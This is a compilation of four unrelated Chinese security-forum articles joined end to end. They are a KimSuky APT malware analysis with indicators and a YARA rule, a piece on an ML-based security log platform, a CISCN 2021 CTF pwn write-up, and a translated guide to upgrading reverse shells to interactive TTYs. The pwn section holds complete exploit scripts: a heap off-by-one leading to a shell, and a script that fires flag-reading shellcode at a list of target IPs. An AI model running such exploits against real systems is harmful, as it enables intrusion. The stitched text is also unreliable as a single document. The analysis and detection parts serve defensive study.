最后的这个python代码起到了一个后门的作用
包括CollectData手机信息，ExecNewCmd执行C2下发的新指令、SpyLoop循环调用。
这里的逻辑其实和最开始分析的powershell后门有异曲同工之妙
另外，此样本中用到的域名，还是和上一类样本相同，属于使用了第三方的托管域名。猜测此类域名在后续的新样本中应该不会沿用。
### 模仿类PE分析
KimSuky还有一类样本，会模仿正常软件以消除用户的戒备心诱导用户执行。
样本MD5:ae986dd436082fb9a7fec397c8b6e717
样本生成时间：2020年-04-25
该样本是模仿了杀毒软件eset的更新程序：
样本运行后，会弹框提示用户，杀软更新完成，用户计算机目前处于安全状态
样本运行后，会将自身复制到%appdata%目录下并重命名为:eset_updata.exe
此样本会尝试创建一个名为<GoogleUpdate_01>的互斥体
通过开机自启动Run键值的方式实现本地持久化，此样本写入的键值名是eset_update，路径为移动后的路径
接着程序将请求的C2地址general-second.org-help.com写入到了屏保相关的注册表键值中：
收集本地的一些基本信息，编码之后传到C2服务器
接受服务器返回然后使用base64解码：
然后将解码之后的结果以|拆分，判断是否存在Tiger标志：
除了tiger，在后面的代码中还能看到一些其他动物的标志，如wolf、snake、bear、monkey等，分别对应着不同的远控模块。
### 小结
此类样本的攻击链比较短，原始样本即为exe文件，exe直接与C2进行通信，执行远控操作，样本就是一个功能完善的远控，似乎并不会从C2下载别的payload继续执行，但是命令分发中也有可能包含了更新指令。
此样本由于模仿了eset的杀软程序，主要迷惑用户的手段就是一个弹框显示。
请求的C2为：general-second.org-help.com，根据该域名，在Twitter上找到了一批同样是被KimSuky使用的子域名
域名和对应的解析地址如下
do[.]secure-mail[.]org-help[.]com 213.190.6.57
general-second[.]org-help[.]com 213.190.6.57
finalist[.]org-help[.]com 92.249.44.201
otokar[.]org-help[.]com 92.249.44.201
doosan-manager[.]org-help[.]com 无响应
iamdaum[.]do[.]secure-mail[.]org-help[.]com 213.190.6.57
www[.]org-help[.]com 213.190.6.57
general-first[.]org-help[.]com 213.190.6.57
thisisdaum[.]do[.]secure-mail[.]org-help[.]com 213.190.6.57
apple-shop[.]org-help[.]com 92.249.44.201
iamnaver[.]do[.]secure-mail[.]org-help[.]com 213.190.6.57
和第一部分的域名不同这里解析出来的域名没有到域里面的其他计算机，而是全对应到了两个ip上：
213.190.6.57
和
92.249.44.201
### 双扩展名类PE分析
样本md5：35d60d2723c649c97b414b3cb701df1c
样本名：베트남 녹지원 상춘재 행사 견적서.hwp .exe
样本创建时间：2019-12-02
样本译名：越南绿地园赏春斋活动报价单.hwp.exe
查阅资料可以得知，19年11月27日，韩国总统文在寅的妻子金正淑在赏春斋和越南总理妻子进行了合影。
很明显，KimSuky能够比较熟练的将社会工程学应用到APT攻击中。本次投放的样本是双拓展名的诱饵文件，通过在.hwp和.exe之间加入大量空格，隐藏真实的.exe后缀，再加上针对性的文件名，诱导用户双击打开该文件。
样本包含了如下的pdb信息：
E:\pc\makeHwp\Bin\makeHwp.pdb
样本运行后会在temp目录释放一个bat文件用于删除自身
然后在当前目录创建并打开与原始文件同名的hwp文件用于迷惑用户，降低被发现的几率。
最后在%appdata%目录下释放并加载一个dll文件用于执行后面的恶意操作
原始样本（Dropper）的执行流程如下：
安装的dll具有设置开机自启动、线程注入、安装插件、收集本地主机信息、上传、下载等功能。
通过Run键值设置开机自启动
线程注入
安装dll的执行流程如下：
### 小结
上面提到，Powershell的前置攻击手法至少可以追溯到2019年7月份，而该样本的生成事件是19年年底。也就是说KimSuky一直是在使用这两种攻击方式的，即通过非PE加载最终payload和直接投递双拓展名的exe文件。
此外，本次样本使用的域名是antichrist.or.kr，解析会得到一个韩国的IP： 114.207.244.99，包含了奇怪的请求头：User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
代码风格方面也与最新的差异比较大，猜测可能出自KimSuky内部不同的小组编写~（这个真是瞎猜）
在此样本中，攻击者似乎还不小心遗留了一个PDB路径：
E:\pc\makeHwp\Bin\makeHwp.pdb
根据该PDB路径进行搜索，找到了如下几个样本信息，其中包含了另外一个pdb路径：
E:\PC\EstService\Bin32\makeHwp.pdb
오성사 MC2-500 외형도 P1307033 Model_수정.pdf(빈공백).exe
DA799D16AED24CF4F8EC62D5048AFD1A
(E:\pc\makeHwp\Bin\makeHwp.pdb)
베트남 녹지원 상춘재 행사 견적서.hwp(빈공백).exe
35D60D2723C649C97B414B3CB701DF1C
(E:\pc\makeHwp\Bin\makeHwp.pdb)
중국-연구자료.hwp(빈공백).scr
20301FDD013C836039B8CFE0D100A1D7
(E:\PC\EstService\Bin32\makeHwp.pdb)
最后在github找到了有关该样本的yara规则，是check了上面提到的奇怪请求头
rule APT_NK_Methodology_Artificial_UserAgent_IE_Win7 {
meta:
author = "Steve Miller aka @stvemillertime"
description = "Detects hard-coded User-Agent string that has been present in several APT37 malware families."
hash1 = "e63efbf8624a531bb435b7446dbbfc25"
score = 45
strings:
$a1 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
$a2 = {4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 4f 57 36 34 3b 20 54 72 69 64 65 6e 74 2f 37 2e 30 3b 20 72 76 3a 31 31 2e 30 29 20 6c 69 6b 65 20 47 65 63 6b 6f 00 00 00 00}
$fp1 = "Esumsoft" wide
$fp2 = "Acunetix" wide ascii
condition:
uint16(0) == 0x5A4D and all of ($a*) and not 1 of ($fp*)
}
## 0x03 小结
由于笔者精力和经验有限，目前看到的PC端的KimSuky大致就上述几类攻击手法，如有遗漏，望各位大佬多多包涵。也欢迎，感谢各位大佬指正和分享。笔者也会在在之后多多学习总结，争取输出更为完整的分析报告，感谢支持~
目前来看，KimSuky针对PC端主要有以下几种攻击方式（KimSuky在移动端也有比较多的攻击手法，本文中暂时不分析）
### 部分IOC
772a5abc0e946230a50628db4a08dd80
A9DAC36EFD7C99DC5EF8E1BF24C2D747
07d0be79be38ecb8c7b1c80ab0bd8344
8F8AA835E65998DD472D2C641AA82DA5
a4388c4d0588cd3d8a607594347663e0
ae986dd436082fb9a7fec397c8b6e717
35d60d2723c649c97b414b3cb701df1c
d1dfe1e10e1606b99dd7580c0cac05e8
fc6f10e86e64aa349df9187c36665839
c8294148f1d9f268cb4d1fa5cf1c500f
3562042936d0125451dde96cb4e54783
54094084273f46186ee9ac9b207fdab7
db6edf104261faad52291b30c19ba148
5c5bf32736a852c1a1c40d0ae5b8ec33
25998781ca4930f770eeac4aab0f9fab
7f52bcbb695941ebde367f45bc4d4e89
3dca9a5b0e1623a7a816cde7de5a4183
2a5755bf71c10d1b1d5fc9c8446f937f
d452e2e26ee2be4335bf16e9514f1437
12385fb3c5b05426c945c5928253975a
07e8cbcf0b6c8651db24da23816166a5
a4a0003d01d383a4ff11f5449f4be99c
**域名（部分）**
do[.]secure-mail[.]org-help[.]com
general-second[.]org-help[.]com
finalist[.]org-help[.]com
otokar[.]org-help[.]com
doosan-manager[.]org-help[.]com
iamdaum[.]do[.]secure-mail[.]org-help[.]com
www[.]org-help[.]com
general-first[.]org-help[.]com
thisisdaum[.]do[.]secure-mail[.]org-help[.]com
apple-shop[.]org-help[.]com
iamnaver[.]do[.]secure-mail[.]org-help[.]com
pingguo5.atwebpages.com/nu/
attachchosun.atwebpages.com/leess1982/
dongkuiri.atwebpages.com/venus02/venus03/
goldbin.myartsonline.com/le/
pootball.getenjoyment.net/ad/
部分Mireene.com托管域
antichrist.or.kr
**域名解析ip：**
213.190.6.57
92.249.44.201
185.176.43.* | 社区文章 |
## 0x01 背景
写这篇文章的初衷有两点：1、研究方向是机器学习+网络安全，主要做的工作说白了就是抓住机器学习和网络安全的结合点训练模型，现在模型有了一些，希望模型落地产生实际的作用，所以想建设一个安全数据分析平台；2、对企业安全建设和安全研究感兴趣，而安全大数据平台在未来几年是企业安全能力建设的核心，也是第一步，所以想建设一个安全数据分析平台练练手。但是这些还只能算温室里的宝宝，把玩着自己的小玩具，我知道搭建的小城堡抵挡不住小怪兽，一是因为我还处在温室之中（还在学校）接触真实的威胁场景比较少，二是相较于黑产威胁等未知威胁，我们都还处在温室之中，所以需要不断的去探索。
## 0x02 技术架构简单介绍
首先要明确问题，我们要做的是安全数据是什么安全数据？从哪里来？安全数据主要来源于流量和日志。那是做流量数据呢还是日志数据呢？日志数据优点是好处理，缺点是覆盖的信息面小；流量数据优点是信息面全，缺点是信息量大，难处理。各有优劣。我选择了兼顾两者，解析流量成日志，解析后的日志信息较全且容易处理。
那么怎么处置解析后的日志呢？这就涉及到了通用的大数据框架，可以直接借鉴通用的大数据框架打造安全大数据框架，总的来说本文参考的大数据框架有两种：伯克利数据分析栈（BDAS）和ELK
Stack。我们来了解下两种大数据框架，伯克利数据分析栈约等于hadoop生态圈+storm+spark，其核心框架是spark，同时该数据分析栈涵盖支持结构化数据SQL查询与分析的查询引擎Spark
SQL和Shark，提供机器学习功能的系统MLbase及底层的分布式机器学习库MLlib、并行图计算框架GraphX、流计算框架Spark
Streaming和Storm、采样近似计算查询引擎BlinkDB、内存分布式文件系统Tachyon、资源管理框架Mesos等子项目。
要说明的是，Hadoop平台数据离线批处理，实时性差；流计算框架Storm和Streaming有些区别，storm是基于事件级别的流处理，而spark
Streaming是mini-batch形式的近似流处理的微型批处理，不是真正意义上的流处理；以上这些都是编程框架，并不能拿来即用。
伯克利数据分析栈项目结构图
而ELK栈就比较简单了，包括ElasticSearch、Logstash、Kibana三个组件，其核心是ElasticSearch。Logstash用于采集、转换数据，相当于hadoop生态圈的flume，一个分布式海量日志收集系统；ElasticSearch是全文搜索引擎，可以快速地储存、搜索和分析海量数据；Kibana是数据可视化组件，可以在Elasticsearch集群上索引的内容之上提供可视化功能。ELK和splunk一样，拿来即用。
## 0x03 各大公司数据平台技术架构对比
新浪某平台采用的技术架构是常见的Kafka整合ELK
stack方案。Kafka作为消息队列缓存用户日志；使用logstash做日志解析，统一成json格式输出到elasticsearch；使用elasticsearch提供实时日志分析与强大的搜索和统计服务；kibana作为数据可视化组件。
斗鱼的某亿级实时日志分析平台的架构和上面的新浪某平台架构差不多，都是基于elk stack，只是少数的组件可能有所不同。
腾讯蓝鲸数据平台告警系统的技术架构同样基于分布式消息队列和全文搜索引擎，但腾讯的告警平台不仅限于此，它的复杂的指标数据统计任务通过使用 Storm
自定义流式计算任务的方法实现，这可能正对应着上面分析过的elk可能不太适合做复杂的大数据统计，storm等编程框架虽说复杂一点，但不可否认有着其独特的用处。
七牛采用的技术架构为 Flume＋Kafka＋Spark，Flume 相较于 Logstash 有更大的吞吐量，而且与 HDFS 整合的性能比
Logstash 强很多，感觉使用同一套框架的组件性能更佳，七牛云平台的日志数据到 Kafka 后，一路同步到 HDFS，用于离线统计，另一路用于使用
Spark Streaming 进行实时计算，计算结果保存在 Mongodb 集群中。
美团某数据平台的架构基于Hadoop生态和Storm流式计算，首先是数据接入，其次是实时计算和离线计算，下图为整体数据流架构图。
IBM某数据分析平台深度整合了ELK、Spark、Hadoop等组件，技术架构图如下，
其中黑框部分是以elasticsearch为核心的elk栈，外围组件是hadoop生态和spark
## 0x04 我的安全数据分析平台
暂时我的需求比较简单，分析一两台测试机器的流量，数据量不大，想要的是低门槛操作。
从功能上来说，elk主要做搜索，日志，不太适合做大数据统计，spark实时计算倒是比较适合统计计算。从数据量来说，Spark一套潜在能处理的数据量大一些，但是多数业务需求远到不了Spark
Streaming或者ELK的性能瓶颈，两套框架都满足我此时的需求。从流处理计算复杂度来说，在复杂计算场景下，Spark的API提供的表达力更强，也比ELK的配置语言更容易进行充分的单元测试，此处我不考虑复杂计算场景，所以两个框架都满足我的需求。从框架的复杂度来说，ELK简单、轻量、易扩展、易上手，而Spark等是编程框架，需要学习一门编程语言才能处理数据。总结一下：elk能做的，hadoop生态+storm+spark同样能做，还能做的更好，spark栈能做的elk不一定能做到；复杂业务大多使用spark等复杂框架，简单业务可以直接上elk栈。综合对比我的需求和两套框架，同时借鉴ibm数据分析平台整合elk栈和spark、hadoop的方案，我暂时选择ELK栈，但是考虑到二次抽洗，以及周边生态等等其他因素，未来可能还是得加入spark和hadoop生态圈。所以我的做法是先实现bro+kafka+elk，之后加入hadoop生态和spark，如图，
分为三条支线elasticsearch伪实时搜索，自写的机器学习模型测试脚本近似实时计算，之后可能会被spark代替。Bro+elk搭建网上有现成的资料，例如基于Bro的应用层数据包识别工具和威胁猎杀实战（一）：平台等，搭建比较简单，就不介绍了。
## 0x05 模型部署和系统落地
根据比较成熟的开源资料训练了几个模型，dnstunnel：使用深度学习检测DNS隧道；xssdetection：使用深度学习检测XSS；urldetection：使用机器学习检测URL；参见<https://github.com/404notf0und/AI-for-Security-Testing>
，按照里面的代码可以分别训练出配置文件和模型，尝试部署模型，主要就是加载训练出的模型消费Kafka中的数据。这里要注意的是写测试脚本是在理解训练脚本的基础上进行的，因为训练阶段有些只能做到训练保存模型参数，不能把特征化步骤一起封装到模型中，而有些可以利用pipeline将TFIDF特征化处理保存到模型中，这样在测试时就不需要再调用tfidf类特征化数据了，只需要直接加载模型输入原始数据。这里以部署xss检测模型为例，部分测试代码为：
def xss_detection(payload):
xssed_data=[]
maxlen=200
word=GeneSeg(payload)
xssed_data.append(word)
data=xssed_data[0]
datas_index=[to_index(data)]
datas_index=pad_sequences(datas_index,value=-1,maxlen=maxlen)
datas_embed=[]
dims=len(embeddings["UNK"])
for datas_index in datas_index:
data_embed=[]
for d in datas_index:
if d != -1:
data_embed.extend(embeddings[reverse_dictionary[d]])
else:
data_embed.extend([0.0] * dims)
datas_embed.append(data_embed)
data=(datas_embed[0])
result=model.predict([data])
if result==numpy.array([1]):
return True
else:
return False
def xss(url):
parsed_url=urlparse(url)
query=parsed_url.query
if query=='':
return 0
else:
try:
variables = query.split('&')
values = [ variable.split('=')[1] for variable in variables if len(variable.split('='))>1 ]
for value in values:
result=xss_detection(value)
if result==True:
return 1 #print("may be xss_attack:",url)
else:
return 0
except Exception as err:
return 0
print(xss('http://br-ofertasimperdiveis.epizy.com/produto.php?linkcompleto=iphone-6-plus-apple-64gb-cinza'))
print(xss('http://my-softbank-security.com/wap_login.htm'))
再从Kafka中消费数据，测试模型，
consumer = KafkaConsumer('http')
for message in consumer:
print(message)
# message value and key are raw bytes -- decode if necessary!
# e.g., for unicode: `message.value.decode('utf-8')`
http_log = json.loads(message.value.decode('utf-8'))
http_query = http_log["host"]+http_log["uri"]
#print(http_query)
if xss(http_query):
print(http_query," XSS ")
"""
dns_query = http_log["query"]
x = domain2list(extract(dns_query).domain)
X = mat([x,])
rs = results[model.predict_classes(X)[0][0]]
print(rs, dns_query)
"""
然后同理就可以堆已有的检测模型了，例如dns隧道检测模型和dga检测模型，首先加载模型，然后模型消费kafka数据。
consumer = KafkaConsumer('dns')
for message in consumer:
# message value and key are raw bytes -- decode if necessary!
# e.g., for unicode: `message.value.decode('utf-8')`
dns_log = json.loads(message.value.decode('utf-8'))
dns_query = dns_log["query"]
org_X = extract_domain(dns_query)
X = [[valid_chars[y] if y in valid_chars else 0 for y in x] for x in org_X]
X = pad_sequences(X, maxlen=maxlen, value=0.)
X = np.mat(X)
rs = model.predict_classes(X)[0][0]
print(rs, dns_query)
把所有训练的模型全实验一遍做了个平台demo，数据量小的情况下可以做到实时安全检测和分析，考虑到平台的扩展性，之后可能会加入spark，hadoop等，可能会采用spark的MLlib训练测试机器学习模型。但是由于此处没考虑到实际业务的需求，搭建的平台可能会简单化理想化。
最后简单总结一下：安全数据分析平台主要由大数据框架、安全数据和安全算法组成，如果把安全大数据分析平台比作是一个人的话，那么大数据框架是骨架，安全数据是血液，安全算法是血管，缺一不可。
## 0x06 Reference
<http://webber.tech/posts/%E5%9F%BA%E4%BA%8E%E5%A4%A7%E6%95%B0%E6%8D%AE%E5%92%8C%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E7%9A%84web%E5%BC%82%E5%B8%B8%E5%8F%82%E6%95%B0%E6%A3%80%E6%B5%8B%E7%B3%BB%E7%BB%9FDemo%E5%AE%9E%E7%8E%B0/>
<https://www.aqniu.com/tools-tech/12461.html>
<https://github.com/SparkSharly/DL_for_xss>
<https://www.jianshu.com/p/eb2bc8d8ebc0>
<https://www.ibm.com/developerworks/cn/analytics/library/ba-1512-elkstack-logprocessing/index.html> | 社区文章 |
# ciscn2021 华中线下赛pwn部分题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
菜鸡第一次打线下赛，一天解题一天awd，一共四个pwn，解题赛的pwn2到最后都只有一个师傅搞定（凌霄的师傅tql），本菜鸡只出了两个题，不过还好现场awd不是很激烈，只靠一个也勉强活了下来。本文简单记录一下解题的pwn1和awd的水pwn。
## pwn1
解题赛一共两个pwn题，还好队伍里其他大佬c我。
### 漏洞点
pwn1就是一道朴实无华的堆题，2.31的libc，在申请堆块输入内容的时候存在off by one。
for ( i = 0; i <= size; ++i )
{
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*(_BYTE *)(a1 + i) = buf;
}
只能申请特定size的堆块 ，0x68和0xe8，并且使用calloc（）申请堆块，并且限制了只能同时控制三个堆块，这一点限制了很多操作。
nmemb = 0;
get_input();
if ( nmemb_4 == 1 )
{
nmemb = 0x68;
}
else if ( nmemb_4 == 2 )
{
nmemb = 0xE8;
}
addr = calloc(nmemb, 1uLL);
### 思路
**泄露地址**
审计漏洞点，发现可申请的chunk大小只有0x71,0xf1,0x21。所以可以想到用0xf1的unsorted
bin泄露地址，利用0x71的chunk进行fastbin attack。
首先将0xf1的tcache打满，因为calloc不会从tcache中取chunk，所以直接循环就可以将tcache打满。
然后再次申请一个0xf1的chunk0，用来释放进入unsorted
bin，同时再申请一个0x71的chunk1，同时在chunk1中伪造一个堆头，用来满足下一步从unsorted
bin中切出chunk后溢出修改size后的检测。
查看此时内存。
然后从unsorted bin中切出一个0x71大小的chunk0，同时溢出修改剩余unsorted
bin的size为0xb1，这里size可以是任意值，只要可以覆盖相邻的chunk1，并且在chunk1中伪造好堆头。
所以现在有一个问题是如何将 `main_arena` 泄露出来，从chunk1的fd到当前 `main_arena` 的偏移为 `0xa20-0x9a0 =
0x80`
，然而正常情况下，我们只能申请0xf1和0x71大小的堆块，但是如果申请的时候给一个非法选项的size，就会calloc（0）得到一个0x21的堆块，所以如果calloc(0)执行四次，就刚好将
`main_arena` 推到了chunk1的fd位置，show(1)即可泄露地址。
**getshell**
成功泄露地址之后，利用0x71的chunk进行fastbin attack。这里主要的困难是只能同时控制三个堆块。
从上一张图中能看到，chunk1的size被改为了0x31，chunk0是用来修改unsorted bin的size的0x71大小的chunk。
这部分最难受的就是同时只有三个堆块，被这个卡了很久。
跟泄露地址差不多的思路，此时堆布局为：
chunk0 0xf1
chunk1 0x71
chunk2 0xf1
将chunk0和chunk1释放，分别进入unsorted
bin和fastbin，然后将fastbin中的chunk申请回来，同时将chunk2的presize改为0xf0，size改为0xf0。
然后在unsorted bin中申请0x71的chunk，同时溢出一字节修改size为0xf1。
就可以将overlap的chunk释放到fastbin中。然后通过申请0xf1的chunk时写入，覆盖fastbin的fd指针为
`malloc_hook-0x33` ，当前内存布局如下。
查看fastbin。
这个时候的主要问题就是三个指针都用掉了，要清出两个指针进行fastbin attack，并且释放不能进入0x71的fastbin。
然后就是将malloc_hook盖为one_gadget。
使用第一个one_gaget，调试发现，执行到one_gadget时，r15 = 0 , r12 = size。
所以，calloc(0)即满足条件。
### exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
def dbg(addr):
sh.attach(sh,'b *0x{}\nc\n'.format(addr))
def add(ch,c='a'):
sla('choice:','1')
sla('Large.',str(ch))
sla('Content:',c)
def delete(idx):
sla('choice:','2')
sla('Index:',str(idx))
def show(idx):
sla('choice:','3')
sla('Index:',str(idx))
# add size 1->0x68 2->0xe8 else 0x21
sh = process('./note')
#sh = remote('10.12.153.11',58011)
libc = ELF('/opt/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
for i in range(7):#calloc(0xe8) fill tcache
add(2)
delete(0)
add(2,'\x00'*0x80)#0
add(1,'a'*0x20+p64(0xb0)+p64(0x70-0x30))#1 fake pre_sz & sz
delete(0)#ustbin
add(1,'\x00'*0x68+p64(0xb1))#0 off by one
for i in range(4):
add(0)
delete(2)
show(1)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-(0x7efc8cb1dbe0-0x7efc8c932000)
print hex(libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
delete(0)
for i in range(6):
add(1)
delete(0)
add(2)#0
delete(1)#0x30 tcache
add(1,'a'*0x60+p64(0xf0))#1
add(2)#2
delete(0)#unsorted bin
delete(1)# 0x71 fastbin
add(1,'a'*0x60+p64(0xf0)+p64(0xf0))#0 fake size
add(1,'\x00'*0x68+p64(0xf1))#1
delete(0)
add(2,'\x00'*0x70+p64(0)+p64(0x70)+p64(malloc_hook-0x33)+'\x00'*(0xe8-0x88)+p64(0X51))#0
delete(2)
delete(1)
add(1,'a'*0x68+p64(0x81))
delete(0)
add(1)
add(1,'a'*0x23+p64(libc_base+0xe6c7e))
delete(0)
sla('choice:','1')
#gdb.attach(sh)
sla('Large.',str(3))
ti()
## pwn1_awd
比较简单的一题，不过awd阶段靠这题还拿了不少分，挺离谱的。
### 漏洞点
有一丢丢逆向pwn的意思，不过逻辑很简洁。
输入格式
op : choice 选操作
+ ：off 输入偏移
n : size 输入长度
操作2和3都是先调用mmap开辟一块内存空间，然后以off为偏移，size为大小写入内容。
具有可执行权限。
unsigned __int64 sub_400A65()
{
unsigned int v0; // eax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !mmap_addr )
{
v0 = getpagesize();
mmap_addr = (int)mmap((void *)0x1000, v0, 7, 34, 0, 0LL);
}
return __readfsqword(0x28u) ^ v2;
}
选项1判断开辟的内存空间内容是否为`0xdeadbeef`，是则getshell。
但是当时就很奇怪，这个shell读不了根目录下的flag文件，可能跟权限有关系。
unsigned __int64 sub_400AD4()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("ready?");
mmap_to_write();
if ( *(_DWORD *)mmap_addr == 0xDEADBEEF )
system("/bin/sh");
puts("oh?");
return __readfsqword(0x28u) ^ v1;
}
选项4就很直白。
unsigned __int64 sub_400C92()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
mmap_to_write();
puts("ready?");
mmap_addr("ready?")//执行shellcode
return __readfsqword(0x28u) ^ v1;
}
### 修复
一个是mmap出的内存空间不可执行。 再将后门patch掉，不过后门不修应该也没关系，反正读不到flag。
mmap_addr = (__int64 (__fastcall *)(_QWORD))(int)mmap((void *)0x1000, v0, 6, 34, 0, 0LL);
### exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
context.arch = 'amd64'
shellcode = shellcraft.open('flag.txt')
shellcode += shellcraft.read('rax','rsp',0x60)
shellcode += shellcraft.write(1,'rsp',0x60)
payload = asm(shellcode)
#sh = remote('10.12.153.18',9999)
def write_shell():
return 'op:2\n+:0\nn:400\n\n'
def run():
return 'op:4\n\n'
#gdb.attach(sh)
def pwn():
sla('code> ',write_shell())
sa('ready?',payload)
sla('code> ',run())
#run_shell(sh,'./backdoor')
with open('ip.txt','r') as f:
ips = f.readlines()
print ips
f = open('flag_2.txt','w+')
for i in ips:
ip= i.strip('\r\n')
print ip
sh = remote(ip,9999)
try:
pwn()
flag = ru('}')[-38:]
f.write(flag+'\n')
print '__flag__:'+flag
except:
print 'error'
f.close()
## 总结
解题赛被pwn2支配了大半天，结果还是没什么进展，😔太菜了。听说现场的唯一解是ha1vk，大佬tql。awd就把pwn2洞修了然后也没再看，被web佬c了。 | 社区文章 |
# 【技术分享】将普通shell升级为全交互式终端
##### 译文声明
本文是翻译文章，文章来源：ropnop.com
原文地址：<https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[牧野之鹰](http://bobao.360.cn/member/contribute?uid=877906634)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
相信每一个渗透测试人员都明白那种美妙的感觉——netcat接收到反弹回来的反向shell,一行行让人满足的的详细的netcat信息被打印出来。
如果其他的渗透测试人员也像我一样，他们肯定也知道那种可怕的感觉——当他们的shell因为他们运行了一个错误的命令而被挂起时，本以为敲击“Ctrl-C”会搞定这个状况，但是没想到却断开了整个连接。
除了不正确的处理技术，这些“愚蠢”的shell还有其他的缺点：
1.一些命令，比如“su”和“ssh”需要适当的终端才能运行
2.标准错误信息（STDERR）经常不会被显示出来
3.不能正确使用文本编辑器如VIM
4.没有命令补全功能
5.“上”按键没有历史纪录功能
6.没有任务管理功能
7.等等。。。
长话短说，虽然这些shell相对来说很容易实施和捕获，但我更希望在一个完全互动的终端（TTY）中进行操作。
我发现了一些很好的资源，其中包括一些非常有用的技术和技巧，可以用来“升级”这些shell，希望在一篇文章中展示和分享。 在Pentest
Monkey网站上, 根据Phineas Fisher发布的视频和他非法活动的writeups，我学会了这些技巧。
1.[Pentest Monkey – Post Exploitation Without a
TTY](http://pentestmonkey.net/blog/post-exploitation-without-a-tty)
2.[Phineas Fisher Hacks Catalan Police Union
Website](https://www.youtube.com/watch?v=oI_ZhFCS3AQ#t=25m53s)
3.[Phineas Fisher – Hackingteam Writeup](http://pastebin.com/raw/0SNSvyjJ)
先简单说一下思路，在后面的截图和命令中，我会向一个有漏洞的Web服务器（受害者）注入命令，然后在我的kali虚拟机上接收反弹回来的shell。
1.受害者 IP: 10.0.3.7
2.我的KALI IP: 10.0.3.4
**Generating reverse shell commands**
相信每一个人都十分熟悉利用netcat获取反向shell的传统方法：
接收：
但问题是并不是每一个服务器会安装netcat，而且也并不是每一个版本的netcat有“-e”参数。
Pentest Monkey上有一个很大的备忘单，列出了好些不同的方法，但是我最喜欢用的方法是利用Metasploit的msfvenom来为我生成一套命令。
在Metasploit 的"cmd/unix"目录下，有一些payload可以用来生成一套bind shell或者是反向shell。
这些payload中的任何一个都可以配合msfvenom使用生成我们所需要的原始命令（需要指定LHOST, LPORT or
RPORT）。比如，以下是一个netcat命令，其并不需要“-e”参数：
还有一个Perl oneliner可以处理netcat没有被安装的情况：
这些都可以通过使用netcat和监听端口(4444)来捕获。
**Method 1: Python pty 模块**
在捕获了一个“愚蠢”的shell之后很长一段时间内，我使用的核心命令是用Python来加载pty模块。Pty模块可以为你生成一个伪终端，这可以欺骗一些命令如“su”，让他们以为他们是在合适的终端中执行的。要想升级“愚蠢”的shell，让他们具有如上的功能，只需简单的运行如下命令：
然后你就可照常运行“su”等命令，如下
不幸的是，该方法并不能解决上面提到的其他一些问题。组合键（Ctrl-C）仍将关闭netcat，也没有命令不全功能或历史记录功能。但这个快速但不完美的解决方法，帮助了我无数次。
**Method 2: 使用 socat**
[Socat](http://www.dest-unreach.org/socat/doc/socat.html)就像netcat一样是一个非常强大的网络瑞士军刀。通过TCP连接，我们可以用socat建立完整的TTY。如果在受害者服务器上安装了socat，你就可以用它来反弹一个反向shell。而你必须捕获与socat的连接，以便获得全部的功能。
下面的命令会生成一个完全交互的TTY反向shell：
On Kali (listen):
On Victim (launch):
如果socat没有被安装，也不要叹气，这里还有一些独立的二进制文件，你可以到下面的GitHub链接中下载：
<https://github.com/andrew-d/static-binaries>
利用一个命令注入漏洞，就可以用一行命令在受害者服务器下载一个正确架构的socat到可写目录，然后改变它的权限（chmod），最后执行并反弹回一个反向shell：
而在kali上，你会捕获到一个完整交互的TTY会话，它支持命令补全功能，支持SIGINT/SIGSTP，vim,“上”键的历史纪录功能，等等。这是一个完整的终端，非常好。
**Method 3: 魔法般的升级netcat**
我在Phineas
Fisher的黑客视频中看到他使用了这种技术，感觉就像是魔法一般。简单的说，只要设置一下kali终端内的一些stty参数，就可以将一个“愚蠢”的netcat
shell升级为一个完整的TTY。
首先，遵循与方法1相同的技术，用Python加载PTY模块，一旦bash在PTY中运行了，用组合键“Ctrl-Z”将shell放到后台中去。
当shell进到后台之后，现在来检查当前的终端和STTY信息，如此一来我们就可以强制已经连接上的shell去匹配它：
我们需要的信息是TERM类型（"xterm-256color"）和当前TTY的窗口大小（"rows 38; columns 116"）。
让shell继续保持在后台运行，现在将当前的STTY设置为原始类型，并告诉它回显输入字符，命令如下：
由于使用了原始类型的STTY，所以这些输入/输出看上去都怪怪的，而且你也不会看到下一条命令，但是当您键入它们时，它们就会被处理。
接下来用“fg”将shell提到前台来，它会重新打开反向shell,但是内容的格式将会被去除掉。最后，用“reset”重置终端。
注意：我并没有再次手动输入“nc”命令（上图中看起来像是我手动输入的）。我输入的是“fg”，只是它没有回显。现在“nc”命令是在前台的任务了。然后将“reset”命令输入到netcat
shell中。
在用“reset”进行了重置后，shell看起来应该恢复了正常。最后一步是设置shell，终端类型，以及STTY的大小，使其匹配我们当前的kali窗口（信息来自上面收集的）。
最终的结果是得到一个完全交互的TTY，它包含了我们所期望的所有特性(命令补全功能、历史记录功能、任务控制等)，所有这些都是在一个netcat连接上:
